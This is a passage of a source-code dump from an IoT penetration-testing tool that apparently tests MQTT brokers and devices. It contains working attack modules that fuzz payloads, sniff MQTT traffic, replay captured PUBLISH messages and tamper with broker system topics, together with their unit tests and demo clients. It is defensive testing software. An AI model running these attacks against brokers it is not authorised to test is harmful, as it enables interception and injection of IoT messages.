fuzzing.") continue # Check whether result is list or not if type(fuzzer_messages) == list: for message in fuzzer_messages: self.client.publish(self.topic, message) # Increment sent message count self.sent_message_count += 1 else: self.client.publish(self.topic, fuzzer_messages) # Increment sent message count self.sent_message_count += 1 time.sleep(1) self.logger.info("Turn {0} is completed with message content = {1}".format(fuzzing + 1, fuzzer_messages)) self.client.loop_stop() self.logger.info("Random payload fuzzing is finished.") class TestMQTTRandomPayloadAttack(unittest.TestCase): def setUp(self): self.mqtt_random_payload_fuzzer = MQTTRandomPayloadFuzzingAttack() def tearDown(self): pass def test_name(self): self.assertEqual("MQTT Random Payload Fuzzing Attack", self.mqtt_random_payload_fuzzer.get_attack_name()) def test_inputs(self): inputs = self.mqtt_random_payload_fuzzer.get_inputs() self.assertIsNotNone(inputs) self.assertGreater(len(inputs), 0, "Non inserted inputs") self.assertEquals(len(inputs), 5) def test_non_initialized_inputs(self): inputs = self.mqtt_random_payload_fuzzer.get_inputs() for _input in inputs: value = getattr(self.mqtt_random_payload_fuzzer, _input.get_name()) self.assertTrue(value is None or type(value) == _input.get_type()) def test_after_getting_inputs(self): example_inputs = ["a.b.c.d", "pen-topic", 12, 2, "pen-payload"] for index, _input in enumerate(example_inputs): self.mqtt_random_payload_fuzzer.inputs[index].set_value(_input) # Previously it should not be set self.assertIsNone(self.mqtt_random_payload_fuzzer.client) super(MQTTRandomPayloadFuzzingAttack, self.mqtt_random_payload_fuzzer).run() inputs = self.mqtt_random_payload_fuzzer.get_inputs() for index, _input in enumerate(inputs): value = getattr(self.mqtt_random_payload_fuzzer, _input.get_name()) self.assertEqual(example_inputs[index], value) def test_invalid_fuzzing_turn(self): example_inputs = ["127.0.0.1", "peniot-topic", 1] for index, _input in enumerate(example_inputs): self.mqtt_random_payload_fuzzer.inputs[index].set_value(_input) super(MQTTRandomPayloadFuzzingAttack, self.mqtt_random_payload_fuzzer).run() try: self.mqtt_random_payload_fuzzer.pre_attack_init() except AssertionError as e: self.assertTrue(True) def test_random_payload_fuzzing_attack(self): def run_attack(): example_inputs = ["127.0.0.1", "peniot/test", 3, 1, "peniot-bbdep"] for index, _input in enumerate(example_inputs): self.mqtt_random_payload_fuzzer.inputs[index].set_value(_input) try: self.mqtt_random_payload_fuzzer.run() except Exception as e: self.assertTrue(False) print "* If server is not initialized this test will not execute properly." p = multiprocessing.Process(target=run_attack, name="Random Payload Fuzzing Attack") p.start() time.sleep(5) if p.is_alive(): p.terminate() p.join() if __name__ == '__main__': unittest.main() ================================================ FILE: src/protocols/MQTT/attacks/mqtt_replay_attack.py ================================================ import logging import signal import time import unittest import paho.mqtt.client as paho from protocols.MQTT.mqtt_scanner import MQTTScanner from Entity.attack import Attack from Entity.input_format import InputFormat from Utils.RandomUtil import random_generated_names from Utils.SnifferUtil import generic_sniffer class MQTTReplayAttack(Attack): """ MQTT Protocol - Replay Attack Module Performs a replay attack using the inputs which are provided by the user """ client = None captured_packets = None # Input Fields selected_index = 0 timeout = generic_sniffer.DEFAULT_SNIFF_TIMEOUT interface = generic_sniffer.DEFAULT_INTERFACE # Miscellaneous Members logger = None def __init__(self): default_parameters = ["", 10.0, "any"] inputs = [ InputFormat("Selected packet index", "selected_index", self.selected_index, int, mandatory=True), InputFormat("Timeout", "timeout", self.timeout, float), InputFormat("Interface", "interface", str(self.interface), str, mandatory=True) ] Attack.__init__(self, "MQTT Replay Attack", inputs, default_parameters, "Performs a replay attack using the inputs\n" "which are provided by the user.") logging.basicConfig(level=logging.DEBUG, format="%(asctime)s:%(levelname)s:%(name)s:%(message)s") # Signal handler to exit from function signal.signal(signal.SIGINT, self.signal_handler) def signal_handler(self, sig, frame): self.stop_attack() def stop_attack(self): self.logger.info("Exitting...") if self.client is not None: self.client.disconnect() # Close the connection before exitting time.sleep(2) # Sleep two seconds so the user can see the message # sys.exit(0) def pre_attack_init(self): try: assert self.selected_index >= 0 except AssertionError as _: self.logger.error("Invalid selected packet value!") raise try: assert self.selected_index < len(self.captured_packets) except AssertionError as _: self.logger.error("Input value exceeds captured packets' size!") raise self.client = paho.Client(random_generated_names.get_random_client_name()) def run(self): Attack.run(self) self.pre_attack_process() # Sniff the packets so we can replay self.pre_attack_init() # Do the necessary checks try: selected_packet = self.captured_packets[self.selected_index] try: self.client.connect(selected_packet.ip.dst_host) except Exception as e: self.logger.error("Failed to connect to broker") self.logger.info(selected_packet) self.client.publish(selected_packet.mqtt.topic, selected_packet.mqtt.msg) except IndexError as _: self.logger.error("Invalid packet index. Indices start from 0...") def pre_attack_process(self): """ TODO Need to think how we can integrate such a pre_called method to GUI before attack execution Scans valid packets to be replayed """ super(MQTTReplayAttack, self).set_input_value("timeout") try: assert self.timeout >= 0 self.captured_packets = MQTTScanner().scan(self.timeout, self.interface) self.captured_packets = filter(lambda _: int(_.mqtt.msgtype) << 4 == paho.PUBLISH, self.captured_packets) except AssertionError as _: self.logger.error("Invalid timeout for scan operation!") class TestMQTTReplayAttack(unittest.TestCase): def setUp(self): self.mqtt_replay_attack = MQTTReplayAttack() def tearDown(self): pass def test_name(self): self.assertEqual("MQTT Replay Attack", self.mqtt_replay_attack.get_attack_name()) def test_non_initialized_inputs(self): inputs = self.mqtt_replay_attack.get_inputs() for _input in inputs: value = getattr(self.mqtt_replay_attack, _input.get_name()) self.assertTrue(value is None or type(value) == _input.get_type()) def test_after_getting_inputs(self): example_inputs = [8, 13.2, "test-interface"] for index, _input in enumerate(example_inputs): self.mqtt_replay_attack.inputs[index].set_value(_input) super(MQTTReplayAttack, self.mqtt_replay_attack).run() inputs = self.mqtt_replay_attack.get_inputs() for index, _input in enumerate(inputs): value = getattr(self.mqtt_replay_attack, _input.get_name()) self.assertEqual(example_inputs[index], value) def test_replay_attack(self): example_inputs = [0, 15., "any"] for index, _input in enumerate(example_inputs): self.mqtt_replay_attack.inputs[index].set_value(_input) self.mqtt_replay_attack.pre_attack_process() packets = self.mqtt_replay_attack.captured_packets self.assertIsNotNone(packets) self.assertTrue(type(packets) == list) self.assertGreaterEqual(len(packets), 0) if len(packets) > 0: self.mqtt_replay_attack.run() self.assertTrue(True) else: self.assertTrue(False) if __name__ == '__main__': unittest.main() ================================================ FILE: src/protocols/MQTT/attacks/mqtt_sniff_attack.py ================================================ import logging import signal import time import unittest from protocols.MQTT.mqtt_scanner import MQTTScanner from Entity.attack import Attack from Entity.input_format import InputFormat from Utils import CommonUtil from Utils.SnifferUtil import generic_sniffer class MQTTSniffAttack(Attack): """ MQTT Protocol - Sniff Attack module It is created to scan/sniff the devices for their information """ # Input Fields timeout = generic_sniffer.DEFAULT_SNIFF_TIMEOUT interface = generic_sniffer.DEFAULT_INTERFACE save_output = generic_sniffer.DEFAULT_SAVE # Misc Members logger = None def __init__(self): default_parameters = [ 60.0, generic_sniffer.DEFAULT_INTERFACE, generic_sniffer.DEFAULT_SAVE ] inputs = [ InputFormat("Timeout", "timeout", self.timeout, float), InputFormat("Interface", "interface", str(self.interface), str, mandatory=True), InputFormat("Save Captured Packets", "save_output", str(self.save_output), bool) ] Attack.__init__(self, "MQTT Sniff Attack", inputs, default_parameters, " It listens to the network traffic and\n" " captures MQTT packages.") logging.basicConfig(level=logging.DEBUG, format="%(asctime)s:%(levelname)s:%(name)s:%(message)s") # Signal handler to exit from function signal.signal(signal.SIGINT, self.signal_handler) def signal_handler(self, sig, frame): self.stop_attack() def stop_attack(self): self.logger.info("Exitting...") time.sleep(2) # Sleep two seconds so the user can see the message # sys.exit(0) def input_check(self): try: assert self.timeout >= 0 except AssertionError as e: self.logger.error("Invalid timeout for scan operation!") def run(self): self.input_check() # Do the necessary checks super(MQTTSniffAttack, self).run() packets = MQTTScanner().scan(self.timeout, self.interface, output_pcap_filename="MQTT_" + CommonUtil.get_current_datetime_for_filename_format() if self.save_output else None) for packet in packets: self.logger.info(packet) return packets class TestMQTTSniffAttack(unittest.TestCase): def setUp(self): self.mqtt_sniff_attack = MQTTSniffAttack() def tearDown(self): pass def test_name(self): self.assertEqual("MQTT Sniff Attack", self.mqtt_sniff_attack.get_attack_name()) def test_non_initialized_inputs(self): inputs = self.mqtt_sniff_attack.get_inputs() for _input in inputs: value = getattr(self.mqtt_sniff_attack, _input.get_name()) self.assertTrue(value is None or type(value) == _input.get_type()) def test_after_getting_inputs(self): example_inputs = [13.2, "test-interface", False] for index, _input in enumerate(example_inputs): self.mqtt_sniff_attack.inputs[index].set_value(_input) super(MQTTSniffAttack, self.mqtt_sniff_attack).run() inputs = self.mqtt_sniff_attack.get_inputs() for index, _input in enumerate(inputs): value = getattr(self.mqtt_sniff_attack, _input.get_name()) self.assertEqual(example_inputs[index], value) def test_sniff_attack(self): example_inputs = [10.0] for index, _input in enumerate(example_inputs): self.mqtt_sniff_attack.inputs[index].set_value(_input) packets = self.mqtt_sniff_attack.run() self.assertIsNotNone(packets) self.assertTrue(type(packets) == list) self.assertGreaterEqual(len(packets), 0) if __name__ == '__main__': unittest.main() ================================================ FILE: src/protocols/MQTT/attacks/mqtt_topic_name_fuzzing.py ================================================ import logging import multiprocessing import signal import time import unittest import paho.mqtt.client as paho from Entity.attack import Attack from Entity.input_format import InputFormat from Utils.RandomUtil import random_generated_names class MQTTTopicNameFuzzingAttack(Attack): """ MQTT Protocol - Topic Name Fuzzer Attack module It is created to test any MQTT device as black box test with malformed or semi-malformed inputs """ client = None # Input Fields address = None client2_name = None # Misc Members logger = None def __init__(self): default_parameters = ["127.0.0.1", ""] inputs = [ InputFormat("Broker Address", "address", "", str, mandatory=True), InputFormat("Client Name", "client2_name", "", str, mandatory=True) ] Attack.__init__(self, "MQTT Topic Name Fuzzing Attack", inputs, default_parameters, " MQTT Topic Name Fuzzing Attack description") logging.basicConfig(level=logging.DEBUG, format="%(asctime)s:%(levelname)s:%(name)s:%(message)s") # Signal handler to exit from function signal.signal(signal.SIGINT, self.signal_handler) def signal_handler(self, sig, frame): self.stop_attack() def stop_attack(self): self.logger.info("MQTT topic name fuzzing is interrupted, exitting...") if self.client is not None: self.client.disconnect() # Close the connection before exitting time.sleep(2) # Sleep two seconds so the user can see the message # sys.exit(0) def pre_attack_init(self): self.client = paho.Client(random_generated_names.get_random_client_name()) try: self.client.connect(self.address) except Exception as e: # We may fail to connect the broker if the adress is invalid so except it self.logger.error("Failed to connect to broker") def run(self): Attack.run(self) self.pre_attack_init() self.client.publish(self.client2_name + "/status", "topic_name_fuzzing_type_1") print "Please check if the attacked client continues working" er = self.client.subscribe("$SYS/#", 1) if er[0] == 0: self.logger.info("Successfully subscribed to all system topics. ALERT!") self.client.unsubscribe("$SYS/#") else: self.logger.info("Failed to subscribe to all system topics. Very good!") # Trying to publish to a system topic, change the number of clients connected self.logger.info( "Please check from the broker monitor if 999 is published to $SYS/broker/clients/connected, it will be published in a seconds!") time.sleep(2) self.client.publish("$SYS/broker/clients/connected", 999) self.logger.info("Please check from the broker monitor if 999 is published to $SYS/broker/clients/connected.") class TestMQTTTopicNameFuzzingAttack(unittest.TestCase): def setUp(self): self.mqtt_topic_name_fuzzer = MQTTTopicNameFuzzingAttack() def tearDown(self): pass def test_name(self): self.assertEqual("MQTT Topic Name Fuzzing Attack", self.mqtt_topic_name_fuzzer.get_attack_name()) def test_inputs(self): inputs = self.mqtt_topic_name_fuzzer.get_inputs() self.assertIsNotNone(inputs) self.assertGreater(len(inputs), 0, "Non inserted inputs") self.assertEquals(len(inputs), 2) def test_non_initialized_inputs(self): inputs = self.mqtt_topic_name_fuzzer.get_inputs() for _input in inputs: value = getattr(self.mqtt_topic_name_fuzzer, _input.get_name()) self.assertTrue(value is None or type(value) == _input.get_type()) def test_after_getting_inputs(self): example_inputs = ["a.b.c.d", "peniot-test-cli"] for index, _input in enumerate(example_inputs): self.mqtt_topic_name_fuzzer.inputs[index].set_value(_input) # Previously it should not be set self.assertIsNone(self.mqtt_topic_name_fuzzer.client) super(MQTTTopicNameFuzzingAttack, self.mqtt_topic_name_fuzzer).run() inputs = self.mqtt_topic_name_fuzzer.get_inputs() for index, _input in enumerate(inputs): value = getattr(self.mqtt_topic_name_fuzzer, _input.get_name()) self.assertEqual(example_inputs[index], value) def test_payload_size_fuzzing_attack(self): def run_attack(): example_inputs = ["127.0.0.1", "peniot-cli"] for index, _input in enumerate(example_inputs): self.mqtt_topic_name_fuzzer.inputs[index].set_value(_input) try: self.mqtt_topic_name_fuzzer.run() except Exception as e: self.assertTrue(False) print "* If server is not initialized this test will not execute properly." p = multiprocessing.Process(target=run_attack, name="Topic Name Fuzzing Attack") p.start() time.sleep(5) if p.is_alive(): p.terminate() p.join() if __name__ == '__main__': unittest.main() ================================================ FILE: src/protocols/MQTT/examples/Demo/__init__.py ================================================ ================================================ FILE: src/protocols/MQTT/examples/Demo/demo_publisher.py ================================================ import paho.mqtt.client as paho import argparse import logging import signal import sys import time from Utils.RandomUtil.random_generated_names import get_random_client_name DEFAULT_BROKER_HOST = "localhost" DEFAULT_TOPIC_NAME = "peniot/demo" DEFAULT_CLIENT_NAME = get_random_client_name() logging.basicConfig(level=logging.DEBUG, format="%(asctime)s:%(levelname)s:%(name)s : %(message)s") logger = logging.getLogger("MQTT Demo Publisher Example") global_publisher = None def signal_handler(sig, frame): global global_publisher logger.info("Connection will be closed") if global_publisher is not None: global_publisher.loop_stop() global_publisher.disconnect() sys.exit(0) def publish_procedure(publisher_client, broker_host_name=DEFAULT_BROKER_HOST, topic=DEFAULT_TOPIC_NAME): """ Publisher execution context :param publisher_client: Publisher object :param broker_host_name: Host name to connect :param topic: Topic to be published :type publisher_client: paho.Client :return: Nothing """ # Signal handler to exit from function signal.signal(signal.SIGINT, signal_handler) global global_publisher publisher_client.connect(broker_host_name) global_publisher = publisher_client # Start loop that always checks receive and send buffer with threads and tries to catch new messages publisher_client.loop_start() data_gen = data_generator() while True: publish_content = next(data_gen) publisher_client.publish(topic, publish_content) time.sleep(2) logger.info("Message {0} is published".format(publish_content)) def data_generator(): import datetime import random today = datetime.datetime.now() while True: yield "{0},{1}".format(today.date(), round(random.uniform(-20, 40), 2)) today = today + datetime.timedelta(days=1) if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument("-b", "--broker", help="Broker host name or IP address", default=DEFAULT_BROKER_HOST) parser.add_argument("-t", "--topic", help="Topic name to subscribe", default=DEFAULT_TOPIC_NAME) parser.add_argument("-c", "--cli", help="Client name for subscription", default=DEFAULT_CLIENT_NAME) args = parser.parse_args() # Create publisher publisher = paho.Client(args.cli) logger.info("Publisher is created") # Assign necessary callbacks logger.info("Callbacks are assigned") publish_procedure(publisher, args.broker, args.topic) ================================================ FILE: src/protocols/MQTT/examples/Demo/demo_subscriber.py ================================================ import paho.mqtt.client as paho import argparse import logging import signal import sys import threading from Utils.RandomUtil.random_generated_names import get_random_client_name DEFAULT_BROKER_HOST = "localhost" DEFAULT_TOPIC_NAME = "peniot/demo" DEFAULT_CLIENT_NAME = get_random_client_name() logging.basicConfig(level=logging.DEBUG, format="%(asctime)s:%(levelname)s:%(name)s : %(message)s") logger = logging.getLogger("MQTT Demo Subscriber Example") global_subscriber = None class DemoSubscriber(object): """ Demo Subscriber that will have limited data storage and error prone code to simulate effects of attacks """ def __init__(self): self.message_container = [] self.start_processing_of_temperatures() def on_message(self, client, userdata, message): coming_message = str(message.payload.decode("utf-8")) logger.info("Received message = {0}".format(coming_message)) if coming_message == "peniot-pay": return self.on_message_append(coming_message) def on_message_append(self, message): # Parse message parsed_entity = TemperatureData(message) if len(self.message_container) < 2**8: self.message_container.append(parsed_entity) else: logger.error("Message container is full!") # sys.exit(0) def start_processing_of_temperatures(self): if len(self.message_container) > 0: logger.info("Popped message = {0}".format(self.message_container.pop(0))) threading.Timer(2.0, self.start_processing_of_temperatures).start() class TemperatureData(object): """ Container class for temperature data that comes from publisher """ def __init__(self, temperature_string): try: parsed = temperature_string.split(",") self.date, self.temperature = tuple(parsed) except Exception as e: logger.error("Impossible data to parse... I gave up, I need rest to recover...") # sys.exit(0) def get_date(self): return self.date def set_date(self, date): self.date = date def get_temperature(self): return self.temperature def set_temperature(self, temperature): self.temperature = temperature def __repr__(self): return "{0},{1}".format(self.date, self.temperature) def signal_handler(sig, frame): global global_subscriber logger.info("Connection will be closed") if global_subscriber is not None: global_subscriber.loop_stop() global_subscriber.disconnect() sys.exit(0) def subscribe_procedure(subscriber_client, broker_host_name=DEFAULT_BROKER_HOST, topic=DEFAULT_TOPIC_NAME): """ Subscriber execution context :param subscriber_client: Subscriber object :param broker_host_name: Host name to connect :param topic: Topic to be subscribe :type subscriber_client: paho.Client :return: Nothing """ # Signal handler to exit from function signal.signal(signal.SIGINT, signal_handler) global global_subscriber subscriber_client.connect(broker_host_name) global_subscriber = subscriber_client # Start loop that always checks receive and send buffer with threads and tries to catch new messages subscriber_client.subscribe(topic) subscriber_client.loop_forever() if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument("-b", "--broker", help="Broker host name or IP address", default=DEFAULT_BROKER_HOST) parser.add_argument("-t", "--topic", help="Topic name to subscribe", default=DEFAULT_TOPIC_NAME) parser.add_argument("-c", "--cli", help="Client name for subscription", default=DEFAULT_CLIENT_NAME) args = parser.parse_args() # Create subscriber subscriber = paho.Client(args.cli) logger.info("Subscriber is created") demo_subscriber = DemoSubscriber() # Assign necessary callbacks subscriber.on_message = demo_subscriber.on_message logger.info("Callbacks are assigned") subscribe_procedure(subscriber, args.broker, args.topic) ================================================ FILE: src/protocols/MQTT/examples/__init__.py ================================================ """ This package is written to understand basic connection and communication mechanisms by local broker servers. There is a two scripts that contains one publisher and one subscriber example. """ ================================================ FILE: src/protocols/MQTT/examples/publisher_example.py ================================================ import paho.mqtt.client as paho import argparse import logging import signal import sys import time DEFAULT_BROKER_HOST = "localhost" DEFAULT_TOPIC_NAME = "peniot/test" DEFAULT_CLIENT_NAME = "peniot-publisher" logging.basicConfig(level=logging.DEBUG, format="%(asctime)s:%(levelname)s:%(name)s : %(message)s") logger = logging.getLogger("MQTT Publisher Example") global_publisher = None """ MQTT Example Publisher """ def signal_handler(sig, frame): global global_publisher logger.info("Connection will be closed") if global_publisher is not None: global_publisher.loop_stop() global_publisher.disconnect() sys.exit(0) def on_message(client, userdata, message): logger.info("Received message = {0}".format(str(message.payload.decode("utf-8")))) def on_connect(client, userdata, flags, rc): logger.info("Connection is established") def publish_procedure(publisher_client, broker_host_name=DEFAULT_BROKER_HOST, topic=DEFAULT_TOPIC_NAME): """ Publisher execution context :param publisher_client: Publisher object :param broker_host_name: Host name to connect :param topic: Topic to be published :type publisher_client: paho.Client :return: Nothing """ # Signal handler to exit from function signal.signal(signal.SIGINT, signal_handler) global global_publisher publisher_client.connect(broker_host_name) global_publisher = publisher_client # Start loop that always checks receive and send buffer with threads and tries to catch new messages publisher_client.loop_start() publish_content = 0 while True: publisher_client.publish(topic, "Peniot test message: " + str(publish_content)) time.sleep(2) publish_content += 1 logger.info("Message {0} is published".format(publish_content)) if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument("-b", "--broker", help="Broker host name or IP address", default=DEFAULT_BROKER_HOST) parser.add_argument("-t", "--topic", help="Topic name to subscribe", default=DEFAULT_TOPIC_NAME) parser.add_argument("-c", "--cli", help="Client name for subscription", default=DEFAULT_CLIENT_NAME) args = parser.parse_args() # Create publisher publisher = paho.Client(args.cli) logger.info("Publisher is created") # Assign necessary callbacks publisher.on_message = on_message logger.info("Callbacks are assigned") publish_procedure(publisher, args.broker, args.topic) ================================================ FILE: src/protocols/MQTT/examples/subscriber_example.py ================================================ import paho.mqtt.client as paho import argparse import logging import signal import sys import time DEFAULT_BROKER_HOST = "localhost" DEFAULT_TOPIC_NAME = "peniot/test" DEFAULT_CLIENT_NAME = "peniot-subscriber" logging.basicConfig(level=logging.DEBUG, format="%(asctime)s:%(levelname)s:%(name)s : %(message)s") logger = logging.getLogger("MQTT Subscriber Example") global_subscriber = None """ MQTT Example Subscriber """ def signal_handler(sig, frame): global global_subscriber logger.info("Connection will be closed") if global_subscriber is not None: global_subscriber.loop_stop() global_subscriber.disconnect() sys.exit(0) def on_message(client, userdata, message): logger.info("Received message = {0}".format(str(message.payload.decode("utf-8")))) def on_connect(client, userdata, flags, rc): logger.info("Connection is established") def subscribe_procedure(subscriber_client, broker_host_name=DEFAULT_BROKER_HOST, topic=DEFAULT_TOPIC_NAME): """ Subscriber execution context :param subscriber_client: Subscriber object :param broker_host_name: Host name to connect :param topic: Topic to be subscribe :type subscriber_client: paho.Client :return: Nothing """ # Signal handler to exit from function signal.signal(signal.SIGINT, signal_handler) global global_subscriber subscriber_client.connect(broker_host_name) global_subscriber = subscriber_client # Start loop that always checks receive and send buffer with threads and tries to catch new messages subscriber_client.loop_start() while True: subscriber_client.subscribe(topic) time.sleep(2) if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument("-b", "--broker", help="Broker host name or IP address", default=DEFAULT_BROKER_HOST) parser.add_argument("-t", "--topic", help="Topic name to subscribe", default=DEFAULT_TOPIC_NAME) parser.add_argument("-c", "--cli", help="Client name for subscription", default=DEFAULT_CLIENT_NAME) args = parser.parse_args() # Create subscriber subscriber = paho.Client(args.cli) logger.info("Subscriber is created") # Assign necessary callbacks subscriber.on_message = on_message logger.info("Callbacks are assigned") subscribe_procedure(subscriber, args.broker, args.topic) ================================================ FILE: src/protocols/MQTT/mqtt_protocol.py ================================================ from Entity.protocol import Protocol import unittest class MQTT(Protocol): def __init__(self): mqtt_definition = "MQTT is an application layer internet of things (IoT) protocol. " \ "It is mainly a messaging protocol. At the center of MQTT, there exists a central broker " \ "that acts as a server.Each client connected to that broker can open a topic " \ "and publish messsages to that topic.Then any client connected to a broker can subscribe to the " \ "topics stored on that broker.More than one client can subscribe to a single topic.\n\n" \ "Clients communicate via publishing and subscring to topics that they are interested. Main duties of " \ "the broker are storing topics, storing the messages published on these topics and then sending the " \ "published messages to the clients subscribed to that particular topic. More explicitly, when a " \ "message is published by a client to a topic, first the broker stores that message in the memory space " \ "that it had allocated for that topic. Then the broker sends that message to every single client that " \ "had subscribed to that topic. Existence of a working broker is essential, without a central broker " \ "clients cannot communicate among themselves.\n\n" \ "Aforementioned structure of the MQTT makes the broker main target of cyber attacks. Therefore, it " \ "is very important that security configurations of the MQTT broker are set correctly. However, " \ "this does not mean client security is not important. Clients should be configured in a way that " \ "they can handle unexpected inputs without facing a failure. From our MQTT attacks menu, you can choose " \ "from a list of attacks to test your devices. You can get more information about each attack from " \ "the attacks page." attack_suites = [] Protocol.__init__(self, "MQTT", attack_suites, mqtt_definition) class TestMQTTProtocol(unittest.TestCase): def setUp(self): self.mqtt = MQTT() def tearDown(self): pass def test_name(self): self.assertEqual("MQTT", self.mqtt.get_protocol_name()) def test_attacks(self): attack_suites = self.mqtt.get_attack_suites() self.assertIsNotNone(attack_suites) self.assertEquals(len(attack_suites), 0) if __name__ == '__main__': unittest.main() ================================================ FILE: src/protocols/MQTT/mqtt_scanner.py ================================================ from Utils.SnifferUtil import generic_sniffer as generic_sniffer from scapy.all import * # Since MQTT runs on TCP/IP, we filter captured packets using TCP protocol mqtt_filter = "tcp" # 1883 and 8883 ports are reserved for MQTT protocol mqtt_port = 1883 mqtt_port_ssl = 8883 # Capturing via TShark mqtt_layer_filter = "mqtt" class MQTTScanner: """ This class is used to scan for a MQTT device. It captures packets from the network and try to find MQTT devices. """ def __init__(self): pass @staticmethod def scan(timeout=generic_sniffer.DEFAULT_SNIFF_TIMEOUT, interface=generic_sniffer.DEFAULT_INTERFACE, use_json_and_include_raw=False, output_pcap_filename=None): sniffer = generic_sniffer.GenericSniffer(timeout=timeout, interface=interface, use_json=use_json_and_include_raw, include_raw=use_json_and_include_raw, output_pcap_filename=output_pcap_filename, display_filter=mqtt_layer_filter) sniffer.start_live_capture() return sniffer.get_captured_packets() @staticmethod def get_raw_tcp_payload_as_bytes(packet): return (packet.mqtt_raw.value[0]).decode("hex") @staticmethod def get_raw_frame_as_bytes(packet): return (packet.frame_raw.value[0]).decode("hex") ''' @staticmethod def scan(count, interface, timeout, mac_address=None, src_dst=None): """ Scans the network to find MQTT devices and returns the packets if mac_address and src_dst parameters are provided,then we will search for a specific device :param count: the total number of packets to be captured :param interface: the interface to be scanned :param timeout: the time out value to give finish scanning (in sec) :param mac_address: MAC address of the device :param src_dst: if src_dst is 0, then we will check packets' source field, if it is 1,then we will check packets' destination field :return: packets found """ packets = [] if src_dst is not None and mac_address is not None: mac_address = mac_address.lower() # it should contain lower case chars if src_dst == 0: # check source field packets = sniff(count=count, iface=interface, timeout=timeout, filter=mqtt_filter, lfilter=lambda d: d.src == mac_address) elif src_dst == 1: # check destination field packets = sniff(count=count, iface=interface, timeout=timeout, filter=mqtt_filter, lfilter=lambda d: d.dst == mac_address) else: packets = sniff(count=count, iface=interface, timeout=timeout, filter=mqtt_filter) packets_found = [] # the packets we found for i in range(0, len(packets)): if packets[i]['TCP'].sport == mqtt_port or packets[i]['TCP'].dport == mqtt_port_ssl: packets_found.append(packets[i]) return packets_found @staticmethod def scan_file(count, interface, file_name, mac_address=None, src_dst=None): """ Scans the given packet file to find MQTT devices and returns the packets if mac_address and src_dst parameters are provided,then we will search for a specific device :param count: the total number of packets to be captured :param interface: the interface to be scanned :param file_name: the name of file to be checked to find a MQTT device :param mac_address: MAC address of the device :param src_dst: if src_dst is 0, then we will check packets' source field, if it is 1,then we will check packets' destination field :return: packets found """ packets = [] if src_dst is not None and mac_address is not None: mac_address = mac_address.lower() # it should contain lower case chars if src_dst == 0: # check source field packets = sniff(count=count, iface=interface, offline=file_name, filter=mqtt_filter, lfilter=lambda d: d.src == mac_address) elif src_dst == 1: # check destination field packets = sniff(count=count, iface=interface, offline=file_name, filter=mqtt_filter, lfilter=lambda d: d.dst == mac_address) else: packets = sniff(count=count, iface=interface, offline=file_name, filter=mqtt_filter) packets_found = [] # the packets we found for i in range(0, len(packets)): if MQTTScanner.check_port(packets[i]['TCP']): packets_found.append(packets[i]) return packets_found @staticmethod def check_port(packet_param): """ Checks whether the packet has a MQTT port as source or destination port number. :param packet_param: the packet to be checked :return: """ if packet_param.sport == mqtt_port_ssl or packet_param.sport == mqtt_port or \ packet_param.dport == mqtt_port or packet_param.dport == mqtt_port_ssl: return True return False ''' if __name__ == '__main__': packets = MQTTScanner().scan() ================================================ FILE: src/protocols/__init__.py ================================================ """ This package contains all available protocols. """